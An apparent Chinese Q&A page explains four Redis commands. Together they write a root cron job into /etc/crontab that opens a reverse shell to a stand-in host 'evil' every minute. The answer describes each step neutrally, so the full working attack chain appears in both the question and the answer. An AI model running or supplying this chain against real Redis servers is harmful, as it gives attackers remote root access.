set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n" config set dir /etc/ config set dbfilename crontab save解释这几个指令的作用
时间: 2024-03-31 10:34:56 浏览: 97
Zabbix-proxy安装说明.docx
这几个指令是针对 Redis 数据库的操作:
1. set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n":这条指令是将一个名为 "1" 的键值对存储到 Redis 数据库中,值为一个包含定时任务信息的字符串。根据字符串内容,这个定时任务会在每个月的每个星期的每一天的每个小时的每一分钟执行一次,执行的命令是一个反弹 shell 到 "evil" 主机的命令。
2. config set dir /etc/:这条指令是将 Redis 数据库的持久化文件保存在 "/etc/" 目录下。这个持久化文件包含了 Redis 数据库中所有的键值对信息。
3. config set dbfilename crontab:这条指令是将 Redis 数据库的持久化文件命名为 "crontab"。这个持久化文件包含了 Redis 数据库中所有的键值对信息。
4. save:这条指令是将 Redis 数据库当前的状态保存到持久化文件中,以便在 Redis 重新启动后能够恢复之前的状态。
阅读全文